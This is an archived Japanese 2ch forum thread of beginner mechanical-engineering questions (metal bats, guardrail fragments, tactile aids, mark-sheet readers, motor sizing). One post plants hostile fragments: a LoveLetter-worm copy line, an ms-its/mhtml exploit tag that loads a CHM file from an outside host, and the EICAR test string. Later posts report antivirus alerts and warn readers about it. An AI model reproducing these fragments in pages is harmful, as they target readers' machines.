許容範囲以内に収める為の精度の確保ならわからんでもないが

失礼しました。

ひずみゲージの実験をやりました。
誤差の原因は以下のようなものが考えられるのだけど、対策はこれでいいですかね？

記録計のノイズによるもの
→何回か計測して平均を取る。

測定器に起因するもの
→測定器（ひずみゲージ）を縦横ズレがないように材料に貼付ける。

個人に起因するもの
→複数人のデータの平均を取る。

気温、湿度（環境）によるもの
→湿度や気温をコントロールできる密室で実験を行う。

>411
どういう実験かはよくわからんが
機器そのものの精度の証明として
機器の校正記録もいるかと

意地悪な話だが計測機器は必要な校正を受けて
一定の精度内にとどまっていることを証明しないと
そのあと、何をやっても無駄になります。

すいません。
ずっと気になっていた事があるのですが、
硬式用の金属バットは何故凹まないのでしょうか？
硬球って滅茶苦茶硬いと思うのですが・・・

弾むからです。鉄球打ったらへこみます。
ちなみに野球の球は硬いようでもゴム毬みたいなものです。
打撃の瞬間はひしゃげてバットにまとわりついています。
でもボールは元に戻ります。バットも元に戻る範囲です。

>>413　＞金属バットは何故凹まないのでしょうか？

【　解答　】

金属バットは、俗に「超超ジュラルミン」と呼ばれる、アルミの中でもトップクラスの、
高い破壊強度と、高い弾性限界（力を加えても元の形に戻る応力の限界）を持った、
熱処理（時効硬化）した、アルミ合金を使っているため、簡単には変形しないのです。

【　参考　】

タイトル ： 金属バットにノー
投稿日 ： 2004/07/16(Fri) 13:42
投稿者 ： 大沢基明
http://material3.osawa.p.dendai.ac.jp/tmp/webforum/wforum.cgi?no=26&reno=no&oya=26&mode=msgview&page=0
http://material3.osawa.p.dendai.ac.jp/

　　　金属バットはアルミニウム合金が用いられ、木製バットはとねりこが用いられる。
　　　金属と木材では比重、強度は異なるが、重さ、比弾性率などが同じになるように厚さを決めている。

　　　材質はバット本体はAl-Cu-Mg-Zn(７０００系)の超々ジュラルミンが用いられ、
　　　グリップエンドにはAl-Mg(５０００ 系)が用いられ、引張強度は約５００MPa(５０kg/mm2)、
　　　破壊靱性は約２８[Mpa・m^1/2]でそれぞれ木製に比べて５倍程度の強度がある。

　　　したがって、万一、割れが入っても伝播しにくい。

>>415
>金属バットは、俗に「超超ジュラルミン」と呼ばれる、アルミの中でもトップ
>クラスの、 高い破壊強度と、高い弾性限界（力を加えても元の形に戻る応力
>の限界）を持った、 熱処理（時効硬化）した、アルミ合金

なるほど。興味を持ったので便乗質問させて頂きます。

ここで議論しているのは、変形能ですよね？　だったら引張り強度や破壊
靭性は、評価の指標としては不適で、むしろヤング率や弾性限(上で述べ
られていますね)で論じるのが妥当と思いますが。

なぜヤング率や弾性限に先立ち、引張り強度や破壊靭性を引き合いに
出されたのでしょうか？

ネジの形って何でプラスとマイナスあんの？

ロケットはどうして東側にうちあげるんですか？

すいません。人工衛星です。

>>417
プラスの方が回しやすいけどその分なめやすいから。

>>418
自転に対して逆回転させたら、忙しくてかなわんから。

>>418
自転を利用するから、種子島のような赤道に近い場所から打ち上げるほうが
効率的なんですね。

つまり遠心力を使っているんですね!
ありがとうござあいました。

>>416　＞だったら引張り強度や破壊靭性は、評価の指標としては不適で、

ちょうどそのサイトは、掲示板の形式になっていて、質問も受け付けているようなので、
詳しいことはそちらで聞いてください。

参考に示したページ内容の、他人の語った「詳しい解説やその責任まで」は、流石に、
そこまで紹介者は、持てませんのでね。

参考ページはあくまで「参考」であって、質問の内容に、そんなにピッタリ合ったものは、
早々見つけられないことも、インターネットを多少ともやってい入れば、判るはずでしょ。

＞なぜヤング率や弾性限に先立ち、引張り強度や破壊靭性を引き合いに
＞出されたのでしょうか？
>>423は金属バットは家庭内暴力とか器物破壊に使うための道具と思っているのでしょう。
ヤング率などの用語を出しても彼はチンプンカンプンですから

>>417　＞ネジの形って何でプラスとマイナスあんの？
　
下のスレッドの、（ ３６−３８番 ）や（ ５４番 ）に、詳しく書かれていますね。

>>2　＞初心者のための質問スレッド（２）　
>>2　＞http://makimo.to/2ch/mentai_kikai/1009/1009476981.html

その（ ５４番 ）の「引用記事」のみ、再度、紹介しておきましょう。
-------------------------
＞　「プラスとマイナス」 　←　（但し、このページはもう存在しないので、アーカイブを示しました。）
＞　http://web.archive.org/web/20020120180241/http://www.union-net.or.jp/~cu-cap/pulaminus.htm

＞　＜どうしてねじには＋と−があるのでしょう。＞
＞　http://homepage2.nifty.com/osiete/seito123.htm

＞　（１） プラスネジの生い立ちと特徴について
＞　http://www.ohmiseiki.co.jp/storyofbits.htm
-------------------------

>>420　＞プラスの方が回しやすいけどその分なめやすいから。
　　
余りにも（（　的外れ　））な解答なので、上の説明は信じないようにお願いします。

今日のニュースで話題のガードレール金属片

機械屋の皆さんの意見はどうよ。
あんなもん手作業で付けてるとは思えんのだが
テレビじゃ人為説を推し気味。

ガードレールにアレを付けるには打ち込むしかないと思うんだけど
（手じゃ無理だし継ぎ足部を鈍器等で開いて挿入した跡も見られない）
ガードレールをハタくと共鳴して結構な音がする。
気づかれずに叩いて入れたにしても擦れた跡がない
レールが数枚材料が使われていて剥がれた可能性もない
とにかくレールに跡がほぼないので何かがぶつかったとも考えられない
塗装塗直しもなし
いあーわけわからん
ちなみにウチは高校生が怪我したところの近く。

ガードレールに金属片を付けたヤシは
神またはカリスマ加工者ってことででFA？

M20のナットをほどけばいくらでも入るような・・・

金属バットの話で引張りとか疲労破壊とか言ってるヒトもいるようだが、衝撃値なんてのは問題にしなくてもイイのか。
バットとボールの衝突は、静力学で評価するようなものとも思われないので。

>>423
これはしたり。

聞いてはいけないことを聞いてしまったようです。
引用も発言と同等の重みがあるような気がしますが。
失礼しました。

>>430
衝撃値(シャルピー衝撃値のことでしょうか？)は、破壊にさいして
どの程度エネルギーを消費するかを表す指標です。

脆性破壊のしにくさを表す指標と言ってもよいでしょう。
従って、ここで議論になっている『凹まないこと』と直接には
関係ないように思います。ちなみに、私の考えは　>>416　で
既に述べております。

バットの性能を議論するさいには、勿論関係しますョ。

>429　よーくみてみってガードレール
ナット取ったとしても厳しいから

ニュー速スレより
【社会】"ガードレールに鋭利な金属片" 東北２００ヶ所、埼玉１５０ヵ所に…国交省、緊急点検指示
http://news19.2ch.net/test/read.cgi/newsplus/1117694384/

200 名前：名無しさん＠５周年 投稿日：2005/06/02(木) 19:10:02 ID:kZUtu8NK
教えてあげようか
これガードレールを設置する際の工事で付いちゃう物だよ
作業員の怠慢が原因

249 名前：名無しさん＠５周年 投稿日：2005/06/02(木) 19:28:01 ID:p+J7JeBs
工事用の治具です。
ボルトの片方がラウンド型のため、正確なトルクで締め付けた気になって
共回りしていると、トルクの誤差が出る為、共回りのチェックとして
当該治具を設置して突針が動いていないかを確認する道具です。
希に取り外し忘れる人もいるんですかねーこわいこわい
きちんと確認しましょうねぇ。

272 名前：名無しさん＠５周年 投稿日：2005/06/02(木) 19:36:31 ID:nTwSYZMX
マジレスするとホイスカーが成長したやつだな。
いまさら騒ぐな。

少し業界っぽい書き込み抜粋。
あんなでけぇホイスカーはねぇだろｗ

ガードレールネタはニュー速で盛り上がるものの
宗教団体やら北の工作やら言う奴が多くてゲンナリ・・・。
事故説もだんだん増えてきたけど今日はもう寝よう・・・。

>>433　＞共回りのチェックとして
>>434　＞事故説もだんだん増えてきたけど

金属片：　４５都道府県で　ガードレールに２１００カ所超
http://www.mainichi-msn.co.jp/shakai/photojournal/news/20050603k0000m040151000c.html
　　　各地の国道や県道などで最近、
　　　ガードレールの継ぎ目に差し込まれるなどして見つかった金属片は、
　　　２日の毎日新聞のまとめで４５都道府県２１００カ所以上に達した。

上の写真などから判断すると、ボルトなどとは、無関係のように見えるのだが。

分布が全国的だから、車が摺って板金がめくれたか
施工のヘマなのかどっちかだな。

車の板金なら塗料調べりゃ分かるし
施工なら関連部品があるだろうから現場作業員に聞けば一発。

>>436
ニュースで映った破片のふちに熱が入った後があった
あれは明らかに切断痕だろ

>>433
巨大ﾎｲｽｶｰ説ﾊｹﾞﾜﾛﾀ!!

うぃーす。
昨日の金属片コピペ野郎です。
事故で片付きそうだけど、
まだまだニュー速は陰謀、悪戯、のぼり固定具を推し続ける。

なんか、2chってこんなもんかって思い始めますた。

>>439
今年になってから急激にバカっぽくなってるよ＜２ちゃん

VIPとニートの人が勝手気ままに大量カキコしてるだけかも知らんけど。

>>436　＞施工なら関連部品があるだろうから

関係者に聞いた結果、「施工用の部品ではない」ことが判ったと、
どこかの新聞には書かれていたようです。

関係者って、外部に応対するのは広報か総務の人でしょ。
ｹﾞﾝﾊﾞで何使うかなんか知らんのじゃない？

超音波を使った、視覚障害者の為のアイデアがあるから聞いて。
でも専門知識を一切持たない素人考えだから笑わないでね。

まず超音波とかで自分のまわりの物を立体的に把握して、
それを視覚障害者の肌に振動で伝える 機械とか作れないんだろうか？

肌に振動を伝える方法は超音波じゃなくて、
例えば超小型の電気磁石を利用した振動装置を腹巻きにぎっしりくっ付ける。
それを身につけた人は、個別に動く大量の振動装置の振動から周りの状況を
立体的に把握出来る。
近くの物体ほど強く振動させるか振動周波数を変えたりして、
いろんな物体の形、距離を感じとることが出来る。
まあ、皮膚を網膜代わりにするようなものかな。
そして大雑把ながらも周りの状況を健常者のように理解出来る。
・・・なんてこと出来ないのかな？

現在ある超音波を利用した視覚障害者用の器具は、あまりにも単純なもののような気がするんだよね。
一応、超音波関連のスレにも同じ質問をしたけど、あっちは過疎だからいつ答えてくれるか分からないんだよ。

>>443

技術的には十分可能だと思いますヨ。ご存知かもしれませんが、
似たような仕組みのウルトラケインという杖があります。
ttp://www.my-earth.org.uk/html/pavilion/innovate/seeing_j.html

ただ、人間の腹回りは結構鈍感なので、『振動子の腹巻』が
インターフェイスとして適当かどうかちょっとわかりませんが。

>>444
レスありがと〜
技術的には十分可能?
やったー＾＾
人間の腹回りは結構鈍感？
「周囲の状況を皮膚に伝えるには、なるべく広い面積が必要かな」と思って
腹巻きのようなものを思いついたんだよね。
んじゃ、ヘルメットのようなもので頭に振動子を付けるのはどうかな？
それとそもそも振動子は電磁石を利用したものが一番いいのかな？

ちなみに視覚障害者のスレにも同じこと投稿して５人くらいレスをもらったんだ。
でも「おもしろい」とは言うけど、なんか食いつきが悪い。
もしこんなの製品が出来たら、全盲者にとっては革命的じゃないかと思うのに。
健常者のように周りの状況が理解できるって彼らの悲願のはずなのに。
レスをくれた人が全盲者かどうかは分からないが、少なくとも障害者に感心をもつ
心優しい人だと思ったのに。
なんか人が分からなくなってきたよ。

P.S　ｵﾚがタメ口なのは性分なので直らない。気を悪くしたならゴメンね。

そもそもオレのアイデアは結構単純なものだから、絶対誰か思いつきそうなのに
こんなものが存在しないのは何故なんだろう？
ネックとなるものがあるんだろうか？

>>446
だいぶ昔に（２０年以上？）に似たようなの見たことあるぞ
カメラで撮った映像を背中に背負った触覚ディスプレイ（こういう呼び方で’あってる？）で知覚するというもの
実験だけだったのか商品化されてたのかまでは覚えていない

>>445
当事者の意見に興味がおありなら、こんなのはいかが？

【愛・地球博】　視覚障害者バリアフリー観察紀行（８）
http://www5d.biglobe.ne.jp/~sptnet/24226089/

あとはコストですかねぇ。センサ(とアクチュエータ)の数が
増える程、カネが掛かる。高いと使ってもらえませんョ。

>443
問題は処理速度かと
装置を持って立ち止まっているのではないから
視覚障害者も、周りのもの(人や車や色々)も移動している。
人間は網膜に映ったものから、重要なものを抜き出して処理しているのだが
機械にその判断をさせるのは今の地点では非常にしんどい。
また、その装置はありとあらゆる状況
例えば地下鉄の混雑した階段でもきちんと動作しなければならないわけだから
処理は三次元空間のリアルタイム処理がいる。
紹介されたウルトラケインの検知は進行方向とその上方向だけだが、
完全に人間の目のかわりとなると今すぐには難しいと思う。

個人的にはあらかじめ目的地までの地図・地形データを装置に入力して
GPSを利用して大まかな位置を推測してその部分の地図をベースに
横断歩道や視覚障害者用案内板から位置情報を精査し
超音波センサーからの情報で、前方の障害物を発見するという形でできないかと考えています。

超音波やレーザースキャナーやカメラだけで処理できれば、どこにでも自由に行けるというメリットがありますが
情報処理の時間を考えると、ベースデータとセンサーデータの差異を見つけて警告を出すほうが
今の技術では簡単かと考えます。

あと、腹部の感覚は鈍感というより個人差や男女差が大きいというのはあります。

余談だが、生まれつきの視覚障害者は目が見えるようになっても物が分からんらしい。
携帯電話を差し出しても、見ても何だか分からない。
でも触ってみると携帯電話だと分かる。

線路や道路は頭の中で「まっすぐな物」と思ってて、
でも実際は遠近感で遠くの1点に集まるように言える＝直線ではなく斜めに見える。
だから線路見せても、斜めに見えるから線路だとは分からんらしい。

まぁ最初だけで慣れれば大丈夫らしいけどね。

周波数領域での同定方法ってどうやったらいいのでしょうか？
参考になるＨＰなども知ってたら教えてください。

>>446
水を差すようで申し訳ないけど、単に全盲者からのニーズが無いだけでは？

>>445で、
もしこんなの製品が出来たら、全盲者にとっては革命的じゃないかと思うのに。
健常者のように周りの状況が理解できるって彼らの悲願のはずなのに。
と書いているけど、これはあなたの脳内の全盲者の意見であって、実際には全盲者の食いつきは悪かったんでしょ。

>>445
超音波だと、精度出すのが難しいと思うよ。
コウモリみたいに、１個の発信機（口）と２個の受信機（耳）のセットを
振り回すなら、何とかなるかもしれんが、波長の問題はついて回る。

どうせなら、レーザー使ったほうがいいかと。
可視領域だと、目だって仕方ないから、近赤外あたりで。
あと、皮膚感覚一番なら、「手（指）」だけど、さすがにまずいんで、
「顔」と「首」でどう？
首でおおまかなセンシングして、顔で詳細なセンシングをする。

と、ここまで書いて、これ、健常者が使うのもアリのような気がしてきた。
もちろん「闇夜」にも対応できるわけで・・・
首輪とお面付けるだけだもんな。

軍用なら売れるかも知れんな（ｗ

>>454

　 ｧ　 　∧＿∧　ｧ,､
　,､'` ｡ﾟ( ﾟ^∀^ﾟ)ﾟ｡,､'`
　 '` 　 ( ⊃ ⊂)　　'`


　　　　 ∧＿∧　ミ　ｷﾞｬｰｯﾊｯﾊｯﾊｯ！
　o/⌒（. ;´∀｀）つ　
　 と＿）__つノ　　☆　ﾊﾞﾝﾊﾞﾝ

>>445
俺様がせっかく考えたのに食いつきが悪いというぼやきはどうかと

個人的にはサイボーグになりたいとかチタンの骨を入れたいとか思うけど
他人にそういうもんを、これどうよどうよ？と言われるのは漏れも嫌だよｗ

障害者ちゅうても一個の人間としての独立した尊厳が有るはず
本当のニーズを探り出す事がまず第一で一番重要ではなかろうか
アイディアを練るのはそれからでも遅くはあるまい

というわけで結局世の中軍用が早いような希ガス
人権とか相手の気持ちとかまどろっこしい問題無いし

どうやって皮膚圧迫して「立体的な情報」を伝えるんだよ・・・

目の前に電柱があったら、そっちの側の腹がムズムズすんの？
電柱と放置自転車が直線状に並んでたらどう表現すんの？

物凄い高額な「むずむずする機械」ってヤだなw

どっかの研究所が、事故で全盲になった人（前出の感覚適な経験はクリア）
に装着させるデバイスで
メガネに搭載したCCDカメラの映像を直接脳に電気信号で伝達して
簡単なイメージを送るのに成功してなかったっけ。
頭からコードが生えててなかなかサイバーっぽい爺さんの写真を
見た希ガス

>>458
事故でなった場合はそのてがあるねでも先天的な場合は脳に物を見る機能が発達してないので信号を伝えても見えるという状態にはならないそうだ

>>447
触覚ディスプレイってある程度研究されてて実用化もされるんだね。
http://www.cnc.chukyo-u.ac.jp/users/twake/Tactile/ds11.html
しかもオレのアイデアの歩行支援装置がモロにあったよ！
http://www.cnc.chukyo-u.ac.jp/users/twake/Tactile/sys33.html#sys332

>>457
２セットあれば、いいんだろ？
目だって、片目だけなら平面情報しかないわけだし。

>>454
ちなみに>>455のアンポンタンはオレじゃないから。

すでにオレのアイデアは研究されてたみたいだよ。
「歩行支援装置
歩行支援は障害物情報を警報として伝達する型と、さらに進めて環境情報を提示して
歩行誘導を行う型とがある。警報や環境情報検出のためには超音波やレーザ光、
また最近ではGPSなどが使われる。情報提示系としてのインタフェース部については、
歩行のためには小型かつ携帯ということが前提となるため、多くは音響的信号を表示する。
しかし、ここで指摘したいのは、こうした装置のインタフェースとしての触覚ディスプレイである。」

レーザーも使われていたんだね。

しかしこの「歩行支援装置」は思ってたより性能が低いな。
多分、周囲の状況をアバウトにしか理解できないし、いろんな欠点がありそうだな。
でもこの分野を研究してる人がいたことで安心したよ。
視覚障害者のスレで「歩行支援装置」について話してみようかな。

で。既に研究開発が進められている物を
いまさら思いついただけのアナタがなんでそんなに偉そうなのか教えてくれ。

管用ネジゲージについて教えてください。
ゲージを横から見ると、切欠き（段差）が付いている様なのですが
何のために付いているのでしょうか？

NPTFとかのゲージじゃねーの？
ねじ穴に入れてみて、その切欠きより先に入っちゃうと不良とか。

>>466
どうも、それっぽいです。
ありがとうございます。

趣味の自作PCのPCｹｰｽを夜勤の時に内職して作ろうと思うんだけど
2mm程度のアルミ板を直角に曲げるﾅｲｽな方法はないかね？
いろいろ試したんだけど、どうもｸﾗｯｸ入ったりRがでかくなったりでかなわん。

先日マークシート方式の某国家試験を受験したものですが

解答欄外が鉛筆とかで汚れていても大丈夫なのですか??

マークシートってそもそもどういう風に読み込みや認識するのだろう・・？

欄外のを読み込むなんて、そんなことないですよね

板違いだったかも・・

>>470
んなもん光当てて白か黒か判断するだけだろ。
原理的にパンチシートと変わらん。

>>472
たぶんそんなもんだ。
HB鉛筆限定使用のマークシートは、鉛筆の芯に含まれる炭素成分がどうとか言ってたような気がするから、磁気とかなんとかで読んでるんじゃあないのかなあ。

漏れの通ってた自動車学校の卒業検定問題は、学生にマークシートで解答させておいて、教官が手作業で採点してたっけな。
マークシートの意味ないじゃん、って突っ込んだら、あんたら学生にはマークシートを塗りつぶす作業に慣れておく必要がある、と言われたっけな。
妙に納得した記憶がある。

>>473
卒業検定問題の模擬試験ね。

>>472,473,474
レスありがとう　少し安心しました。

>>470
マークシートの読み取りは赤外線フォトリフレクターです。
つまりまあなんでもいいんですが、しかし相手は機械、しかも単純です。

なんでも良いことにして万が一読み取り率0%の謎の筆記具を使われた場合、
いったい誰の責任なのかという事になりましょう。
「お客様」の利便性を追求して世の中の全ての筆記具を検証したり、
CCDカメラで画像認識するような莫大なコストをかけるべきか、
あるいは筆記具をHBに限定して単純な機械とするかの選択です。

>>468
曲げたいところの裏側（谷折りの部分）にノコかなんかで切り込みを入れたらどう？
強度が心配だけど曲げた後にパテかなんかで裏打ちすれば…

>>477
３回目くらいにそれ試したけど、真っ二つに折れただけだった…

>>478
2ｍｍは手作業で曲げるには厚すぎる。
完全に切り離して、穴あけてネジ止めか、接着した方が幸せになれる希ガス。

>>478
あんまり板金系の事は判らないけど、曲げたいラインを
定板など角にしっかり合わせて固定して、ある程度樹脂ハンマーなどで
叩いて形をととのえて、最終的には木材なんかをアングル状にして、
その上から叩いてみたらどうじゃろか？

>>468
材質が気になりますが？　そういった加工には１０００番系が最も無難ですね。
その次は５０００番系かな

国内の自動車メーカーで自社でエンジンを生産していないところはどこですか？

>>476
解答欄と関係ないところの鉛筆の粉まで認識してしまうかどうかが心配なのです。
つまり光を当てるのは数字部分だけかな〜と。
ちょっと試験で私が神経質になってるのかもしれませんね
今度トトか競馬投票券かロトで試してみようと思います。多分大丈夫と思いますが。
レスありがとうございました。

guest guest

自分でも質問をうまく説明できないのですが、
ボール盤のステージに被切削物（例えばアルミの板）をクランプで
固定するときにクランプが被切削物を抑える場所は被切削物の重心が
いいとかどこかで聞いた事があります。

なぜそうしたほうがいいのでしょうか？
宜しくご指導願います。

>>483　＞つまり光を当てるのは数字部分だけかな〜と。

わざわざそんな、「誤動作するような測り方」に、測定装置を設計する訳ないでしょ。
測りたい部分にのみ、【 焦点を絞って測る方法 】に、してあるはずです。

但し、指定された「鉛筆」以外の、例えばシャープペンシルなどを使ったり、
指定された「水性サインペン」を、勝手に油性のものに変えて書いたりすると、
例え黒色のものであっても、その艶のため？、反射する現象が起るためか、
【 誤動作してしまう 】場合も、現実にありますね。

反射型フォトセンサ−ＫＲ
http://www.shinkoh-elecs.com/kiso/kr.html
http://www.shinkoh-elecs.com/products/kr_1.html
http://www.shinkoh-elecs.com/index.html

反射 フォト センサ
http://images.google.co.jp/images?svnum=50&hl=ja&lr=&c2coff=1&q=%E5%8F%8D%E5%B0%84+%E3%83%95%E3%82%A9%E3%83%88+%E3%82%BB%E3%83%B3%E3%82%B5&btnG=Google+%E6%A4%9C%E7%B4%A2

きっとすごい基本的なことで、こんな事聞くなよってしかられちゃいそうですが、
どなたか教えてください。
本を読んで自分なりに考えてみたんですが、正しいかどうか確認できません。
文系なもんで、こんなことならちゃんと物理とか勉強しとけばよかったっす。

【モーターの選定方法】

　目的：100kgの台車を1ｍ/ｓで走行させる。
　　　　インダクションモータでインバータ制御とし加減速時間をそれぞれ1ｓとする。

　加減速時の台車の慣性力Fを算出する。
　　　　　　　　　　　2　　　　　　　2
　　加速度 　a＝1(m)/1（s）＝1（ｍ/ｓ ）
　　　　　　　　　　　　　　　　　　2
　　慣性力　F＝−100（kg）×1（ｍ/ｓ　）＝−100（N）

　　従って、半径1mの車輪で台車を駆動する場合は、出力軸許容トルク100（N.m）以上の
　　モータ（減速機）を選定すればよい。

と、いうことでよいのでしょうか？
これで良いのか悪いのか・・・、たのんます!!

きっとすごい基本的なことで、こんな事聞くなよってしかられちゃいそうですが、
どなたか教えてください。
本を読んで自分なりに考えてみたんですが、正しいかどうか確認できません。
文系なもんで、こんなことならちゃんと物理とか勉強しとけばよかったっす。

【モーターの選定方法】

　目的：100kgの台車を1ｍ/ｓで走行させる。
　　　　インダクションモータでインバータ制御とし加減速時間をそれぞれ1ｓとする。

　加減速時の台車の慣性力Fを算出する。
　　　　　　　　　　　2　　　　　　　2
　　加速度 　a＝1(m)/1（s）＝1（ｍ/ｓ ）
　　　　　　　　　　　　　　　　　　2
　　慣性力　F＝−100（kg）×1（ｍ/ｓ　）＝−100（N）

　　従って、半径1mの車輪で台車を駆動する場合は、出力軸許容トルク100（N.m）以上の
　　モータ（減速機）を選定すればよい。

と、いうことでよいのでしょうか？
これで良いのか悪いのか・・・、たのんます!!

>486
baka発見

>例え黒色のものであっても、その艶のため？、反射する現象が起るためか、
>【 誤動作してしまう 】場合も、現実にありますね。

マークシートの誤動作の原因は、塗りが薄くて読み取れないことです。
だから、筆圧が強くかからず、固めの芯を使われて
薄く塗られがちなシャープペンシルは使用禁止になってます。
油性サインペンとかが使用禁止になるのは裏写りして会場と机なんかを汚すからです。

あと、最近のマークシートは、OCRと一緒です
>測りたい部分にのみ、【 焦点を絞って測る方法 】に、してあるはずです。
そんな汎用性のなくなる仕様にしているものはありません。

>>485
フライスでそんなことすんの？
ブロックなら2面つかめば確実に重心通るだろうし、
ある程度複雑な形状なら、今度は掴める2面が限られてるし、
考えるだけ無駄でしょ。

そもそも削ったら重心どんどん動くじゃない。

手軽に作れる機械なんですか？ミニチュアで作りたいんですが（学校の課題で）

軸と穴の規格についてなのですが、基準値と公差域から最大・最小許容寸法は
出せるのですが軸や穴を直接測って公差域を出すとするとき、
例えば
軸を測ったところ25.980〜25.990mmであったなら1998年時点のJIS規格で
26g6(25.980〜25.993)、26h7(25.799〜26.000)、26h8(25.667〜26.000)、26h9(25.948〜26.000)
が候補になりそうなのですがこれから絞るときに何か条件があるのでしょうか？
普通に実寸法に一番近い26g6を選べば宜しいでしょうか？

c.Copy(dirsystem&"|LOVE-LETTER-FOR-HELVA.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

>>489
＞　裏写りして会場と机なんかを汚すからです。

水性の「マークシート専用サインペン」は、実際に使わされていた体験も、ありますよ。
それを勝手に、自分のサインペンで書いたため、誤動作して、注意されたことも事実。

＞　最近のマークシートは、OCRと一緒です

私の知っている知識は、２０〜３０年も前に体験した事柄ばかりです。
昔のことも、知っているのでしょうか？。

＞　汎用性のなくなる仕様にしているものはありません。

例えば、「給与計算用」のマークシートなら、会社に固定の様式だから、専用の読み取り機で十分でしょ。
そういう場合は、何も汎用的に作る必要もないし、「コストの安い」作り方になっているはず。

相手の見解を否定するなら、《 存在しないと言う証拠 》をまず示してから、言って欲しいものですよね。
それが出来ないなら、「 >>489　＝　大大大　baka　発見〜 」と、言うことになるのでしょうな。（ｗ

>>488
モーターの計算は、そのモーターの「カタログに載っている計算式」で、計算すること。
モーターの種類によって、性能は、さまざまに変わるのだから。

>>485　
＞被切削物を抑える場所は被切削物の重心がいいとか

そんなことは、初めて聞いた。
びり付くようなことがなく、確実にクランプできれば、それで十分なのでは。。

ここ開いたらウイルスはいったんですけど・・・
しかも削除できないみたい。。。
こういうときはどうすればいいんでしょう。。

>>443　＞超音波を使った、視覚障害者の為のアイデア

カメラで写した画像を、眼球の網膜の前？に埋め込んだ電子デバイスで、
視覚がある程度戻る話題を、最近ＣＳのディスカバリーチャンネルで見た。

現在の表示画像は、升目の大変荒いものしか実用化されてないが、今後、
改良することによて、次第に高精密化することが、期待されているらしい。

ハッキリと見てないが、このチャンネルは何度も再放送するので、次回は、
じっくりと見ておくことにしよう。

肉体の細胞と、電子回路の融合は、いろいろと研究されているらしいから、
「サイボーグ的人間」の登場も、将来は、現実のものに成るのだろう。

いずれにしてもこの話題は、下の板などの方が、解答ももらい易いと思う。

未来技術＠2ch掲示板
http://science3.2ch.net/future/

曲げ板の重量計算ってどうやってやるんですか？

>>494
>「給与計算用」のマークシート

どんなマークシートなんでしょうか？　給与計算のために、
どんな情報を計算機にロードするのでしょうか。部長が部員の
査定をマークシートで入力するのかな？　なんだか、なま
なましいですね。

発言内容よりこっちの方が気になります。回答頂けると
幸いです。

>>488
指数はこう書け
sの2乗　→s^2

加速度の単位　m/s^2

すいません　わたしのせいでお忙しいところマークシート論議を呼んだりして

トトかロトか何かで試してきます

レスいただいた方々ありがとうございました
私なんかよりはるかに知識をお持ちでいられる・・

>>500　＞どんなマークシート

カード形状の、マークシートだったような？記憶が。。
給与計算と言うより、「時間計算」、と言うべきか。

すなわち、毎日働いた時間をマークシートに記入する方式では、なかったかと思う。
余りにも昔のことで、もう良く覚えてないね。

>>494　＞「コストの安い」作り方

>>486
＞　反射型フォトセンサ−ＫＲ
＞　h ttp://www.shinkoh-elecs.com/kiso/kr.html

・・　　反射光を読み取り反射物表面の状態を知ることができるので、
・・　　反射物の有無検知だけではなく、
・・　　マークシートのマーク検出や　紙幣のパターン検出などにも使用されます。
　　　＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾＾
※　　これで、完璧！！！に、証明できたな。（ｗ
※　　しかしこう言う話題は、下のスレッドなどで、やって欲しいのだが。

何か面白いセンサ。
http://science3.2ch.net/test/read.cgi/kikai/1004506844/l50

>494
>私の知っている知識は、２０〜３０年も前に体験した事柄ばかりです。
今のことを何も知らないようだな。

コストのかからないマークシートなら
ADF付のスキャナのOCRと普通紙で対応できます。
このような無料の読み取り判定ソフトもあります。
http://www.edu-ctr.pref.kanagawa.jp/markscan/

あと、マークシート読取専用機も内部処理はソフトで行っているのがほとんどですよ。
そうしないと、入力項目が変わる度に買い換えになってしまいますから。

板バネのことで質問なんですけど良いですか？
曲がってない板バネなら検索で出てくるんですが、
下記のような曲がった板バネについては、自分では
見つけられなかったのでご協力をお願いします。

AAがずれていなければ良いんですが…

　壁｜　　＿D
　壁｜＿／C
　壁｜A B
　壁｜

上の図のようなA点で固定された板バネ（均一な材質です）があります。
この板バネはB点とC点で二段階曲がってます
（ABとCDは平行です）。
D点に重力方向の荷重を加えた場合、B・C・D点でのたわみ量はどうやって
計算するのでしょうか？

分かる方がおられましたら、回答をお願いいたします。

すみません、やはりAAがずれました。
板バネの形状は以下のようになっています。

　＿／￣

>486　>494-496　>498　>503はＴＡＫＥ
相手にしないようにしてください。

ＴＡＫＥについてはこちらへ
【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp5.2ch.net/test/read.cgi/tubo/1108880979/

とりあえずどこに書けばいいのかわからなかったので
ここに書かせてもらいます。

動力学などで使う、水、水蒸気、saturated water等の
圧、温度によってかわる温度、質量、圧、の一覧表がのっている
ｳｪﾌﾞｻｲﾄってありますか？
よろしくおねがいします。

>>508
そういう質問はは物理板かな？

>>509
ありがとうございます。
行ってみます。

508の質問は取り消しでお願いします。

>508
日本機械学会の蒸気表は刊行物だから
ＮＥＴに載せるのは駄目だと思うが

ttp://www2u.biglobe.ne.jp/~ma_shi/soft/steam.htm
この辺で代用は可能ですか？

>497
493に書かれた部分がウイルスソフト反応の原因かと思われます
削除依頼しています。
493にはウイルスのソースコードらしきものが書かれているので
その文字列にウイルス対策ソフトが反応したものかと
そこのリンク先も怪しいので踏まないようにしてください。

>>506
折れ目の部分でぶった切って単純な方持ち梁として
ＣＤの根元のモーメントはＢＣの先端に作用
ＢＣの根元のモーメントはＡＢの先端に作用
んで、最終的に重ね合わせ。

>>504

「ＯＣＲ」のよる方式は、【 小規模な場合の、単なる間に合わせ的なもの 】だと、思うけどね。
大量に、しかも高速に処理する場合は、そんな方式では、処理時間的に問題が有ると思う。
そもそも「ＯＣＲ」と言うものも、高性能なコンピューターが登場してきて、初めて実現した方式。

調べた訳でないけれど、「マークシート入力装置」は、「パンチカード入力装置」と同様に、
電子計算機の存在してないような、「戦前」から、存在したものではないのかな。？？
それから既に、下の人の見解も、（ 単純な方式 ）と書かれて言るようだしね。。

　　>>476 ：名無しさん＠３周年：2005/06/07(火) 01:31:45 ID:Mc3WIWyx
　　　　　　　>>470
　　　　　　　マークシートの読み取りは赤外線フォトリフレクターです。
　　　　　　　つまりまあなんでもいいんですが、しかし相手は機械、しかも単純です。

　　　　　　　なんでも良いことにして万が一読み取り率0%の謎の筆記具を使われた場合、
　　　　　　　いったい誰の責任なのかという事になりましょう。
　　　　　　　「お客様」の利便性を追求して世の中の全ての筆記具を検証したり、
